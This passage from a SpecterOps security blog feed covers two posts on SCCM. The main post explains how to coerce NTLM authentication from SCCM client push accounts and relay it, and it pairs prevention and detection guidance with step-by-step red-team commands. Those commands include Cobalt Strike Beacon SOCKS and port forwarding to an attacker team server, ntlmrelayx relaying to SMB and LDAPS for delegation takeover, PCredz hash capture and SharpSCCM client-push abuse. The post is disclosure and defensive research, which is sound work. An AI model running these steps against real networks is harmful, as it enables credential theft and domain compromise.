MgmtPointWmi.cs.</p><p>In larger environments, it may be preferable to run the series of commands that are automated by exec manually to prevent timing issues resulting in no NTLM authentication or code execution:</p><pre>Preface all commands below with:<br>.\SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; </pre><pre>new collection device &lt;collection_name&gt;<br>add device-to-collection &lt;device_name&gt; &lt;collection_name&gt;</pre><pre>&lt;wait a few minutes&gt;</pre><pre>new application &lt;application_name&gt; &lt;path_to_application&gt;<br>new deployment &lt;application_name&gt; &lt;collection_name&gt;</pre><pre>&lt;wait a few more minutes&gt;</pre><pre>invoke update &lt;collection_name&gt;</pre><pre>&lt;cleanup&gt;</pre><pre>remove deployment &lt;application_name&gt; &lt;collection_name&gt;<br>remove application &lt;application_name&gt;<br>remove collection &lt;collection_name&gt;</pre><p>I plan on coding user options similar to nmap’s timing templates (e.g., T0 for very slow and T5 for very fast waiting periods) in the future.</p><h3>Defensive Considerations</h3><h4>Prevention</h4><p>To prevent the technique detailed in this post, <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-outgoing-ntlm-traffic-to-remote-servers">outgoing NTLM traffic can be denied</a> on the client side of the connection (i.e., disabled on every SCCM client) or <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain">NTLM can be disabled for the domain</a>. Disabling NTLM authentication can be difficult, but the steps needed for an organization to transition to using Kerberos exclusively should be analyzed to make removal of NTLM from the environment an achievable long-term goal.</p><h4>Ok, that sounds hard. How about detection?</h4><p>The <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-outgoing-ntlm-traffic-to-remote-servers">same GPO</a> that can be used to deny outgoing NTLM traffic from Windows machines can also be used to audit outbound NTLM traffic in the environment while a more restrictive policy with specific exclusions for legitimate NTLM usage is being put in place. There is also <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-incoming-ntlm-traffic">another GPO that can be used to audit inbound NTLM traffic</a> to systems that may be susceptible to NTLM relaying, such as those that don’t require SMB signing or LDAP signing/channel binding.</p><p>SharpSCCM is only one of the methods out there to leverage SCCM for lateral movement. Other tools, such as <a href="https://labs.nettitude.com/blog/introducing-malsccm/">MalSCCM by Phil Keeble</a>, <a href="https://github.com/PowerShellMafia/PowerSCCM">PowerSCCM</a>, the <a href="https://docs.microsoft.com/en-us/previous-versions/system-center/jj821831(v=sc.10)">ConfigMgr PowerShell cmdlets</a>, direct site database modifications, or a series of WMI queries can be used to execute many of the functions that SharpSCCM is a wrapper for, so it’s important to look for evidence of the underlying techniques employed by these tools at the lowest practical level, rather than for the tools themselves.</p><p>On the client side, there shouldn’t be a lot of reasons for new applications to be installed from an IP address that isn’t a recognizable, authorized source of software in the environment (or from any IP address at all, if legitimate software distribution is conducted using only FQDNs). Such anomalies could be an indicator of compromise and can be found in the C:\Windows\CCM\Logs\AppEnforce.log file on SCCM clients.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T1ntClgzI7_vo4QCLstQIA.png" /><figcaption>AppEnforce.log “Command line” is set to a UNC path for an unusual IP address</figcaption></figure><p>On the server side, we might want to investigate when a new instance of the SMS_ApplicationAssignment class (e.g., a new deployment of an application to a device collection) is created, particularly if new application deployments are a rare occurrence in the environment. Logs of this activity can be found in the C:\Windows\Program Files\Microsoft Configuration Manager\Logs\SMSProv.log file on the site server hosting the SMS provider role.</p><pre>Auditing: User APERTURE\cave.johnson created an instance of class SMS_ApplicationAssignment.</pre><p>If a line like the one above is present, your best bet may be to check out the client AppEnforce.log events that occurred around the same time and confirm with the user of the account that the deployment is legitimate. Unfortunately, I was not able to find the modified installation path for application deployments in the server logs.</p><p>The ConfigMgr client and server logs also don’t seem to have been designed for ingestion into a SIEM, so it may be necessary to identify criteria for an alert that triggers manual investigation of these log files. Ideas for these triggers might include:</p><ul><li>suspicious usage of SCCM admin accounts (e.g., from an unusual IP address, during unusual hours, etc.)</li><li>suspicious or excessive outbound NTLM traffic from SCCM clients (e.g., to unusual destinations)</li></ul><p>Other alternative methods of engineering detections for this technique, such as monitoring for invocation of specific WMI methods or for direct modification of database contents may be <em>possible</em>, but are likely impractical to implement. Due to the complexity of implementing a detection for this specific technique, the best use of time may be to work towards disabling NTLM.</p><h3>Let’s Collaborate!</h3><p>I would love to chat with you if you’re interested in SCCM security research, would like to share ideas, have any feedback for SharpSCCM, or have any corrections or important additions to this blog post. Please hit me up on Twitter (<a href="https://twitter.com/_Mayyhem">@_Mayyhem</a>) or in the <a href="https://bloodhoundhq.slack.com/">BloodHoundGang Slack</a>. If you’d like to contribute to SharpSCCM, please <a href="https://github.com/Mayyhem/SharpSCCM">check it out on GitHub</a> and submit a pull request from a new feature branch!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7dccb8f92867" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867">Relaying NTLM Authentication from SCCM Clients</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Coercing NTLM Authentication from SCCM]]></title>
            <link>https://medium.com/specter-ops-posts/coercing-ntlm-authentication-from-sccm-e6e23ea8260a?source=rss-1cf7ed8b7054------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6e23ea8260a</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[sccm]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ntlm]]></category>
            <dc:creator><![CDATA[Chris Thompson]]></dc:creator>
            <pubDate>Wed, 13 Apr 2022 14:06:21 GMT</pubDate>
            <atom:updated>2024-03-28T14:25:34.868Z</atom:updated>
            <content:encoded><![CDATA[<h3>tl;dr: Install Hotfix <a href="https://learn.microsoft.com/en-us/mem/configmgr/hotfix/2207/15599094">KB15599094</a> and Disable NTLM for Client Push Installation</h3><p>When SCCM automatic site assignment and automatic client push installation are enabled, and PKI certificates aren’t required for client authentication, it’s possible to coerce NTLM authentication from the site server’s installation and machine accounts to an arbitrary NetBIOS name, FQDN, or IP address, allowing the credentials to be relayed or cracked. This can be done using a low-privileged account on any Windows SCCM client.</p><p>Client push installation accounts require local admin privileges to install software on systems in an SCCM site, so it is often possible to relay the credentials and execute actions in the context of a local admin on other SCCM clients in the site.</p><p><strong>To prevent the attack techniques noted in this blog post, disable the “Allow connection fallback to NTLM” client push installation setting, which is enabled by default in SCCM.</strong></p><p><strong>Update 5/19/23: </strong>Beginning with Configuration Manager current branch, version 2207, the “Allow connection fallback to NTLM” option is <em>disabled</em> by default on new site installations. Hotfix <a href="https://learn.microsoft.com/en-us/mem/configmgr/hotfix/2207/15599094">KB15599094</a> must be applied to existing installations for the “Allow connection fallback to NTLM” setting to prevent NTLM connections from occurring when disabled.</p><p><a href="https://github.com/Mayyhem/SharpSCCM">SharpSCCM</a> is a tool that can be used to demonstrate that this attack is possible against the current version of Microsoft Endpoint Configuration Manager (ConfigMgr). The attack techniques detailed in this post were tested against version 2111, Site version 5.0.9068.1000, and version 2103, Site version 5.0.9049.1000, and were reported to Microsoft, but were not considered vulnerabilities.</p><h3>Credits</h3><p>This research was based on an issue that was first discovered and publicized by Matt Nelson (<a href="https://twitter.com/enigma0x3">@enigma0x3</a>) in 2018, in <a href="https://twitter.com/enigma0x3/status/961394841581178881">this tweet</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*FuTjEG0wWkWuRTYlq5Ucbg.png" /></figure><p>The work done on <a href="https://github.com/PowerShellMafia/PowerSCCM">PowerSCCM</a> by Will Schroeder (<a href="https://twitter.com/harmj0y">@harmj0y</a>), Jared Atkinson (<a href="https://twitter.com/jaredcatkinson">@jaredcatkinson</a>), Matt Nelson (<a href="https://twitter.com/enigma0x3">@enigma0x3</a>), and Matt Graeber (<a href="https://twitter.com/mattifestation">@mattifestation</a>) inspired and laid the groundwork for the creation of SharpSCCM.</p><p>I’d also like to thank Duane Michael (<a href="https://twitter.com/subat0mik">@subat0mik</a>) and Evan McBroom (<a href="https://twitter.com/mcbroom_evan">@mcbroom_evan</a>) for researching Network Access Account (NAA) policy encryption and decryption with me (coming soon), as well as Elad Shamir (<a href="https://twitter.com/elad_shamir">@elad_shamir</a>) and Nick Powers (<a href="https://twitter.com/zyn3rgy">@zyn3rgy</a>) for helping me identify the attacks that are possible using the relayed credentials.</p><p>The <a href="https://www.reddit.com/r/SCCM/">SCCM subreddit community</a> also pointed me to a ton of excellent resources while developing this project. There are a lot of incredibly kind, active, knowledgeable, and supportive people there and I highly recommend joining if you share an interest in SCCM administration or security.</p><h3>Background</h3><p>I reviewed the techniques that Matt Nelson mentioned could be used to coerce authentication from the client push installation account and found that when the “Clear Install Flag” site maintenance task is enabled, SCCM will eventually initiate client push installation if you simply remove the client software from a system. However, removing the client requires local administrator privileges and the site will only kick off automatic reinstallation after 21 days of inactivity <a href="http://www.chrisnackers.com/2009/06/16/client-is-install-flag-explained/">by default</a>. That is way too long to wait while conducting an operation to demonstrate the impact of this issue to clients.</p><p>I wanted to determine whether I could initiate automatic client push installation instantly to any system without having local administrator privileges and eventually discovered a method to do so.</p><p>Since ConfigMgr was formerly named System Center Configuration Manager and is still commonly referred to as SCCM, I will be using the acronym SCCM to refer to ConfigMgr throughout this post.</p><p>This post also frequently refers to NTLM authentication and relaying. If you’d like to learn more about NTLM authentication and relaying before reading the rest of this post, there is a lot of great information out there, such as <a href="https://en.hackndo.com/ntlm-relay/">https://en.hackndo.com/ntlm-relay/</a> by <a href="https://twitter.com/hackanddo">Pixis</a>. I’ll be referring to NetNTLMv2 authentication as NTLM throughout this post.</p><h3>Impact</h3><p>SCCM client push installation accounts require local admin privileges to authenticate to a machine and install the SCCM client.</p><p>This means that NTLM authentication coerced using this technique will often have local admin privileges on all SCCM clients in the site.</p><p>This also means that some organizations use a member of highly privileged groups such as Domain Admins for client push installation for the sake of convenience.</p><p>If all configured accounts fail when the server tries to authenticate to a system to install the client, or if no specific installation accounts are configured, the server tries to authenticate with its machine account. If the WebClient (WebDAV) service is enabled on the server, it is possible to coerce NTLM authentication via HTTP, allowing relay to LDAP or HTTP to conduct attacks such as <a href="https://shenaniganslabs.io/2021/06/21/Shadow-Credentials.html">Shadow Credentials</a>, <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html">Resource-based Constrained Delegation</a>, or <a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2">AD CS ESC8</a> to take over the server.</p><h3>SCCM Crash Course</h3><h4>Site</h4><p>The systems that make up an SCCM environment. Each site is identified by a three character site code (e.g., PS1).</p><h4>Client</h4><p>The systems that are joined to, managed by, and receive content from an SCCM site.</p><h4>Primary Site</h4><p>A site that clients are assigned to and that is administered using the Configuration Manager console.</p><h4>Primary Site Server</h4><p>The server responsible for processing client-generated data and interacting with the site database. Also referred to as the site server.</p><h4><strong>Site System</strong></h4><p>A computer that is assigned one or more site system roles in the site.</p><h4>SMS Provider</h4><p>A site system with Windows Management Instrumentation (WMI) and HTTPS REST API providers that allow indirect access to the site database. This role is installed on the primary site server by default but can also be installed elsewhere. SharpSCCM interacts with SMS providers via WMI and HTTP(S).</p><h4><strong>Management Point</strong></h4><p>A site system that receives client configuration data, forwards it to the site server to be processed, and responds to client requests for policy and service locations. SharpSCCM interacts with management points via HTTP(S).</p><h4>Discovery Methods</h4><p>Configurable methods the site uses to discover computers.</p><h4><strong>Boundary Group</strong></h4><p>Network locations (e.g., IP subnets/address ranges, Active Directory sites) that include client systems managed by the site.</p><h4><strong>Automatic Site Assignment</strong></h4><p>A setting that automatically assigns systems discovered in a specific boundary group to a specific site (e.g., all systems discovered in AD domain X are automatically assigned to site Y). This setting must be configured by the SCCM admin to enable automatic site-wide client push installation.</p><h4><strong>Client Push Installation</strong></h4><p>A method for deploying the SCCM client software where the site server connects to a machine’s ADMIN$ share, copies over the files needed for installation, and executes the installer (ccmsetup.exe). By default, this connection occurs over SMB, but can occur over HTTP if WebClient is enabled on the site server and the target machine’s NetBIOS name is set to a value that specifies a port number (e.g., machine@8080).</p><h4><strong>Client Push Installation Accounts</strong></h4><p>The list of accounts that the site server tries to authenticate with to install the client. By default, if none of the configured accounts can successfully authenticate, or if no accounts are configured, the site server attempts to authenticate with its machine account.</p><h4><strong>Automatic Site-wide Client Push Installation</strong></h4><p>When automatic site assignment and this setting are enabled, the site automatically tries client push installation on any computers it discovers within a boundary group. This option is not enabled by default.</p><h4><strong>Allow connection fallback to NTLM</strong></h4><p>A client push installation setting that allows the server to attempt NTLM authentication when Kerberos authentication fails. This option is enabled by default.</p><p><strong>Update 5/19/23: </strong>Beginning with Configuration Manager current branch, version 2207, the “Allow connection fallback to NTLM” option is <em>disabled</em> by default on new site installations. Hotfix <a href="https://learn.microsoft.com/en-us/mem/configmgr/hotfix/2207/15599094">KB15599094</a> must be applied to existing installations for the “Allow connection fallback to NTLM” setting to prevent NTLM connections from occurring when disabled.</p><h4>Registration Request</h4><p>A message sent to the management point to register a new client with the site.</p><h3>Automatic Client Push — Under the Hood</h3><h4><strong>Heartbeat Discovery</strong></h4><p>The only default method that the site uses to discover computers is Heartbeat Discovery. This allows clients to send Data Discovery Record (DDR) messages to management points to update information such as their hardware inventory and installation status. Microsoft also notes that “<a href="https://docs.microsoft.com/en-us/mem/configmgr/core/servers/deploy/configure/about-discovery-methods">The Heartbeat Discovery method can force discovery of a computer as a new resource record</a>”. That gave me an idea.</p><h4><strong>Gratuitous Registration Requests and Heartbeat DDRs</strong></h4><p>What if a client registration request and subsequent DDR are sent to the management point saying that the client is not installed on a system? As it turns out, when certain properties are present in the DDR, the site server will immediately attempt to install the client on the system noted in the messages.</p><h4><strong>Key DDR Properties</strong></h4><p>One of the <a href="https://docs.microsoft.com/en-us/mem/configmgr/develop/core/servers/configure/about-ddr-properties">DDR properties</a> that is used to identify a new resource is its NetBIOS name, and the site server determines that it should initiate automatic client push installation to that NetBIOS name when the inventory report contained in the DDR indicates that:</p><ol><li>the client is not installed</li><li>automatic site-wide client push installation is enabled for workstations, servers, and/or domain controllers</li><li>the “Operating System Name and Version” property is set to one of the following:<br>a. “Microsoft Windows NT Workstation &lt;Version&gt;”<br>b. “Microsoft Windows NT Server &lt;Version&gt;”<br>c. “Microsoft Windows NT Advanced Server”</li></ol><h4>Blast Radius</h4><p>If PKI certificates are not required for client authentication, the management point does not verify that DDR came from a legitimate existing client, nor does it validate that the system noted in the DDR is at the IP address the DDR originated from. As a result, any NetBIOS name, FQDN, or IP address can be supplied in the DDR and the site server will try to install the client on it.</p><p>The management point still accepts client registration requests and heartbeat DDRs and the site server initiates client push installation:</p><ul><li>when no Discovery Methods are enabled</li><li>when manual approval is required for new devices</li><li>when Enhanced HTTP Communication Security is enabled</li></ul><h4>Other Discovery Methods</h4><p>It is also possible to create new device records in SCCM when Active Directory System Discovery is enabled. If the “ms-DS-MachineAccountQuota” attribute is set to a positive number, tools such as <a href="https://github.com/Kevin-Robertson/Powermad">Powermad</a> can be used to create a new system object in AD and the site will automatically discover the system within 5 minutes by default. If dynamic DNS updates are also supported, tools such as Invoke-DNSUpdate can be used to create a DNS entry for the new system that points to an arbitrary IP address.</p><p>However, possibly because the creator of an AD system object does not possess the necessary permissions to modify the Operating System Name and Version attributes for that object by default, I have not yet found a way to force automatic client push installation via Active Directory System Discovery.</p><p><strong>Update 3/28/24: </strong>Very late update, but a technique for coercing automatic client push installation via Active Directory System Discovery was originally discovered by Brandon Colley (<a href="https://twitter.com/TechBrandon">@TechBrandon</a>) and recently detailed by Marshall Price:</p><ul><li><a href="https://www.hub.trimarcsecurity.com/post/push-comes-to-shove-bypassing-kerberos-authentication-of-sccm-client-push-accounts">https://www.hub.trimarcsecurity.com/post/push-comes-to-shove-bypassing-kerberos-authentication-of-sccm-client-push-accounts</a></li><li><a href="https://www.guidepointsecurity.com/blog/sccm-exploitation-account-compromise-through-automatic-client-push-amp-ad-system-discovery/">https://www.guidepointsecurity.com/blog/sccm-exploitation-account-compromise-through-automatic-client-push-amp-ad-system-discovery/</a></li></ul><h3>Is my SCCM site vulnerable?</h3><h4>SCCM Site Prerequisites</h4><p>Let’s lay out the prerequisites for this attack that I’m currently aware of:</p><ol><li>Automatic site assignment for a boundary group, automatic site-wide client push installation, and “Allow connection fallback to NTLM” must be enabled.</li><li>The site server must be able to reach the capture/relay server via SMB on port 445 or if WebClient is enabled, via HTTP on any port.</li><li>HTTPS Only with PKI certificates must not be required for client authentication to management points for this attack to be executed as a low-privileged user. It may still be possible for a local administrator to access existing client authentication certificates and conduct this attack. <strong>Update 5/19/23:</strong> After testing this, I don’t believe it is possible to reuse an existing device’s certificate to register a new device record as the site server has already associated the certificate with an existing device record.</li></ol><p>If your SCCM settings look like these, your site may be vulnerable:</p><p><strong>Client Push Installation Properties:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*tOUNkybIYiSt-XxdMMMGxA.png" /></figure><p><strong>Automatic Site Assignment:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*gAypu4906FHUcJpXSMBTQA.png" /></figure><p><strong>Communication Security:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*Puf6_BM8wSQ8P_0Ck27HJg.png" /></figure><h3>How do I prevent this attack?</h3><ul><li><strong>Disable the “Allow connection fallback to NTLM” client push installation setting. Update 5/19/23: </strong>Beginning with Configuration Manager current branch, version 2207, the “Allow connection fallback to NTLM” option is <em>disabled</em> by default on new site installations. Hotfix <a href="https://learn.microsoft.com/en-us/mem/configmgr/hotfix/2207/15599094">KB15599094</a> must be applied to existing installations for the “Allow connection fallback to NTLM” setting to prevent NTLM connections from occurring when disabled.</li><li>Use <a href="https://docs.microsoft.com/en-us/mem/configmgr/core/clients/deploy/deploy-clients-to-windows-computers">software update-based client installation</a> instead of automatic site-wide client push installation.</li><li>Never use members of highly privileged groups (e.g., Domain Admins) for client push installation. Instead, create an account for each site specifically for this purpose that doesn’t have interactive logon rights and add it to the local Administrators group. Monitor for suspicious use of this account.</li><li>Require SMB signing, LDAP signing/channel binding, and MSSQL extended protection for authentication to prevent relayed credentials from being used to against other systems.</li><li>Requiring PKI certificates for SCCM client authentication also prevents this attack from being conducted as a low-privileged user, even if NTLM authentication is allowed. However, it may still be possible for a local administrator to use an existing client authentication certificate to communicate with a management point and execute this attack. Please note that implementing PKI certificates adds overhead. It’s not easy, but it’s a more secure configuration.</li><li><strong>Update 5/19/23:</strong> After testing this, I don’t believe it is possible to reuse an existing device’s certificate to register a new device record as the site server has already associated the certificate with an existing device record.</li></ul><h3>Invoking Automatic Client Push with SharpSCCM</h3><h4>Overview</h4><p>SharpSCCM’s invoke client-push function abuses the way automatic site-wide client push installation happens by using the <a href="https://docs.microsoft.com/en-us/previous-versions/system-center/developer/mt744369(v=cmsdk.12)">Client Messaging SDK</a> DLLs that ship with the SCCM client to send the management point a new device registration request followed by a subsequent heartbeat DDR that says that the client is not installed on a specified NetBIOS name, FQDN, or IP address. If the <strong>SCCM Site Prerequisites</strong> above are met, the site server will initiate client push installation and try to use each configured account and its machine account to connect to the ADMIN$ share on the specified host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_U6fgueCR4A_OcTADTa8ag.png" /></figure><h4>Attacker Prerequisites</h4><p>In addition to the SCCM Site Prerequisites above, an attacker only needs access to a Windows SCCM client as any user to execute this attack using SharpSCCM. Local administrator privileges are not required.</p><p>However, if you want to run the capture/relay server on the same SCCM client that is used to execute SharpSCCM, local administrator privileges are required to take control of port 445. A separate capture/relay server is needed otherwise.</p><p>All conditions for successful NTLM relay apply here. If relaying to SMB, SMB signing must be disabled on the target. If relaying to LDAP(S), either signing must not be required or channel binding must be disabled on the server.</p><h4>Coerce, Capture, and Relay SMB Client Push — Attack Step-by-Step</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*ASLxqfNVVVFSbde9vauaPA.png" /></figure><p>The following steps can be completed with local administrator access to a single Windows SCCM client in the target environment. A Cobalt Strike Beacon running with local administrator privileges on a Windows SCCM client in the target environment and a remote, attacker-controlled Linux system running the Cobalt Strike client were used for this demonstration.</p><blockquote><strong>OPSEC Note: </strong>The merged SharpSCCM executable that includes all dependencies is larger than the execute-assembly Beacon command’s maximum allowed size (1MB). Removing portions of the code that are not necessary for this particular attack and recompiling so that the file does not need to be uploaded to the target are exercises left to the reader.</blockquote><p>1. Confirm that the compromised Windows host is a client of SCCM. Take note of the value of the CurrentManagementPoint property and the characters following “SMS:” in the Name property’s value, which is the site code assigned to the client.</p><pre>beacon&gt; <br>run SharpSCCM.exe local siteinfo</pre><pre># Updated syntax 5/19/23<br>run SharpSCCM.exe local site-info</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*_vYvxQQIDC0GbDiPq4Wrzw.png" /></figure><p>2. Try to determine whether automatic site-wide client push installation and fallback to NTLM authentication are enabled. I say “try” because I have not yet found a way to determine that these settings are enabled from a client. There is a sequence of log events that indicates whether the client push method was used to install the client, but the logs do not indicate whether automatic or manual client push installation was used.</p><p>To review these logs:</p><p>a. Determine the last time the client installer (ccmsetup) was executed.</p><pre>beacon&gt;<br>run SharpSCCM.exe local grep C:\Windows\ccmsetup\Logs\ccmsetup.log &quot;ccmsetup started&quot;</pre><pre># Updated syntax 5/19/23<br>run SharpSCCM.exe local grep &quot;ccmsetup started&quot; C:\Windows\ccmsetup\Logs\ccmsetup.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ANnx6S9t9iQIzXWJw9Is7w.png" /></figure><p>b. Review the System Windows Logs events that occurred a few minutes before and after the last time ccmsetup was executed. In my lab, a DistributedCOM error event was present noting the name of the client push installation account used to connect to the host from the site server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*NjR9Bx2tmHH9Z3FrOP5e9Q.png" /></figure><p>Immediately following was an LSA warning event indicating that the site server attempted to use NTLM authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*bAECU-o7UWiA6w-2SSLkfA.png" /></figure><p>3. Start a SOCKS proxy on the Cobalt Strike team server using the Beacon on the Windows host.</p><pre>beacon&gt;<br>socks 7001</pre><p>4. Create a local port forward from the port used by proxychains on the Cobalt Strike client (default: 9050) to the SOCKS proxy port on the team server.</p><pre>cs-linux-client$<br>ssh -f -N -L 9050:127.0.0.1:7001 root@&lt;team_server_ip&gt;</pre><p>5. Run <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py">ntlmrelayx</a> through proxychains and <a href="https://github.com/lgandx/PCredz">PCredz</a> on the loopback interface of the system running the Cobalt Strike client. Target a system that has SMB signing disabled.</p><pre>a.<br>cs-linux-client$<br>sudo proxychains4 ntlmrelayx.py -smb2support -ts -ip 127.0.0.1 -t &lt;target_ip&gt;</pre><pre>b.<br>cs-linux-client$<br>sudo python3 Pcredz -i lo -t –v</pre><p>6. Task the Beacon to become interactive.</p><pre>beacon&gt;<br>sleep 0</pre><p>7. Configure a reverse port forward from port 8445 on the compromised workstation to port 445 on the loopback address of the system running the Cobalt Strike client.</p><pre>beacon&gt;<br>rportfwd_local 8445 127.0.0.1 445</pre><p>8. Upload the <a href="https://github.com/praetorian-inc/PortBender">PortBender</a> WinDivert64.sys driver to the System32 directory on the compromised workstation.</p><pre>beacon&gt; <br>cd C:\Windows\System32 <br>upload /path/to/WinDivert64.sys</pre><p>9. Set Beacon spawnto for 32-bit processes.</p><pre>beacon&gt;<br>spawnto x86 C:\Windows\SysWOW64\werfault.exe</pre><p>10. Load PortBender.cna in Cobalt Strike Script Manager.</p><p>11. Execute PortBender to forward incoming SMB traffic to port 445 of the compromised workstation to port 8445.</p><pre>beacon&gt;<br>PortBender redirect 445 8445</pre><p>12. Use SharpSCCM’s invoke client-push function to register a new device with the management point and send a DDR to initiate automatic client push installation to your Windows host.</p><pre>beacon&gt;<br>run SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; invoke client-push -t &lt;windows_host_ip&gt;</pre><p>After a few seconds, but within a minute, you should see a new connection received by PortBender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kcIbbaZoJkWI3Lxhz1LkBg.png" /></figure><p>Next, you should see the NetNTLMv2 hashes for the configured client push installation account(s) and the site server’s machine account in the output from PCredz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*t9q9iHD5s7faXGgv6X0uCQ.png" /></figure><p>Finally, you should see a successful connection from ntlmrelayx to the target host that has SMB signing disabled, as well as hashes from secretsdump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yQgvG6YfwCGOykgHfLQwtg.png" /></figure><h4>SCCM Server Takeover — Attack Step-by-Step</h4><p><a href="https://twitter.com/tifkin_/status/1419806476353298442">If WebClient is enabled</a> on the SCCM site server that is used to initiate client push installation for some reason, it’s possible to take over the SCCM server if either signing is not required or channel binding is disabled on a domain controller.</p><p>To conduct a RBCD attack to take over the server, follow steps 1 through 4 in the section above, then:</p><p>5. Run ntlmrelayx through proxychains on the loopback interface of the system running the Cobalt Strike client. Target the FQDN of a domain controller that has LDAP signing/channel binding disabled. If you’re unsure, run <a href="https://github.com/zyn3rgy/LdapRelayScan">LDAPRelayScan</a> by Nick Powers (<a href="https://twitter.com/zyn3rgy">@zyn3rgy</a>) against the target first.</p><pre>cs-linux-client$<br>sudo proxychains4 ntlmrelayx.py --no-smb-server --no-wcf-server –no-raw-server -ts -ip 127.0.0.1 -t ldaps://&lt;domain_controller_fqdn&gt; --http-port 445 --no-da  --delegate-access</pre><p>Follow steps 6 through 11 in the section above, then:</p><p>12. Use SharpSCCM’s invoke client-push function to register a new device with the management point and send a DDR to initiate automatic client push installation to your Windows host. You must use the NetBIOS name of the device in order for WebClient’s HTTP authentication to succeed. The IP address and FQDN will not work.</p><pre>beacon&gt;<br>run SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; invoke client-push -t &quot;&lt;windows_host_netbios_name&gt;@445&quot;</pre><p>After a few seconds, but within a minute, you should see a new connection received by PortBender.</p><p>Then, you should see the HTTP request received by ntlmrelayx and forwarded to the LDAP service on the target domain controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oDXSC6lU9rI8vx56gHdzaw.png" /></figure><p>Currently, this takeover attack only works with ntlmrelayx if no accounts are configured for client push installation, so the site server falls back to using its machine account. Since it is not possible to know what accounts the site server uses for client push before ntlmrelayx receives an NTLM AUTHENTICATE message for an incoming WebClient connection, and the site server gives up after detecting that NTLM authentication was started with another configured account, a workaround must be used to coerce authentication from the machine account when other client push accounts are configured.</p><p>Several workarounds that result in authentication from the machine account may be possible. For example, it may be possible to respond to NTLM AUTHENTICATE messages with a 401 Unauthorized message unless the account used is the machine account, or to drop X incoming HTTP requests before NTLM negotiation begins, where X is the number of client push accounts minus one. These workarounds have not yet been built into SharpSCCM.</p><h4>OPSEC</h4><p><strong>SharpSCCM</strong></p><p>If leveraging the FQDN or NetBIOS name of the management point, the system executing SharpSCCM will negotiate Kerberos authentication to obtain a service ticket for RPCSS on the site server when connecting to WMI. As a result, there should be only one observable authentication event, regardless of how many times SharpSCCM is run, as the service ticket will be cached in memory on the machine you are running it from. However, if NTLM authentication is used (e.g., by using the IP address of the site server or if Kerberos is unavailable), then an authentication event will occur each time the application is run.</p><p>Several artifacts are left behind by SharpSCCM, depending on the subcommands used. Check out the <strong>Detection Guidance</strong> section below for more information about these potential indicators of compromise.</p><p><strong>PortBender</strong></p><p>Sometimes PortBender stops working and the system assumes control of port 445 again. If this happens, the site server will likely succeed in connecting to the host via SMB, check that the client is installed and operating correctly, and disconnect. However, if there are any actual issues with the client on the system, the client will be reinstalled, generating a lot of noise. The most effective way to prevent this is to ensure that PortBender is running immediately before running the invoke client-push command.</p><p><strong>Cleaning Up</strong></p><p>Unfortunately, I haven’t figured out how to remotely delete device records or remove CCRs in the retry queue that are created by heartbeat DDRs without having Full Administrator privileges to SCCM. By default, the site will retry client push installation every 60 minutes for 7 days, and if a newly discovered device sits in the client push installation retry queue for more than 24 hours, an error message may be displayed in the console to administrators.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*NZR5AG1pssN7Z85AEtac3Q.png" /></figure><p>With Full Administrator access to SCCM, artifacts created by SharpSCCM that cause client push installation retries can be removed from the site server and database through the administration console or using SharpSCCM.</p><p>The following command can be used to identify the device’s ResourceId.</p><pre>beacon&gt;<br>run SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; get device -n &lt;device_name&gt; -p &quot;Name&quot; -p &quot;ResourceId&quot; -p &quot;SMSUniqueIdentifier&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VpX0VVNIFlSik29QHf7bfw.png" /></figure><p>A file located at C:\Program Files\Microsoft Configuration Manager\inboxes\ccrretry.box with the ResourceId of the device can be manually deleted to stop client push installation retries.</p><p>The output of this command also lists the GUID for each device that was created (this information is also noted in the output of SharpSCCM’s invoke client-push command).</p><figure><img alt="" 